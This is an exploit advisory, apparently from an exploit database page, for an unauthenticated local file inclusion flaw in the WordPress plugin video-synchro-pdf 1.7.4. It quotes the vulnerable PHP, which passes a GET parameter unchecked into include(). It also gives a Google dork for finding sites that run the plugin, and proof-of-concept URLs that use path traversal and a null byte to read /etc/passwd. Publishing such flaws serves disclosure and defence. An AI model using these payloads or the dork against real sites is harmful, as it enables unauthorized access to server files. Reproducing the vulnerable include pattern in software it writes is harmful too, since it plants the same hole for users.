WordPress Video-Synchro-PDF 1.7.4 Local File Inclusion

2022.04.01
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-98

# Exploit Title: WordPress Plugin video-synchro-pdf 1.7.4 - Local File Inclusion - Unauthenticated # Google Dork: inurl:/wp-content/plugins/video-synchro-pdf/ # Date: 29-03-2022 # Exploit Author: Hassan Khan Yusufzai - Splint3r7 # Vendor Homepage: https://wordpress.org/plugins/video-synchro-pdf/ # Version: 1.7.4 # Contact me: h [at] spidersilk.com # Vulnerable File: video-synchro-pdf/reglages/Menu_Plugins/tout.php # Vulnerable Code: ``` <?php if ($_GET['p']<=NULL) { include(REPERTOIRE_VIDEOSYNCPDF.'reglages/Menu_Plugins/index.php'); }else{ include(REPERTOIRE_VIDEOSYNCPDF.'reglages/Menu_Plugins/'.$_GET['p'].'.php'); } ``` # Proof of Concept: http://localhost/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p= <http://localhost/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=../../../../../../../../../../../../../etc/index>[LFI] http://localhost/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p= <http://localhost/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=../../../../../../../../../../../../../etc/index>../../../../../../../../../etc/passwd%00


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top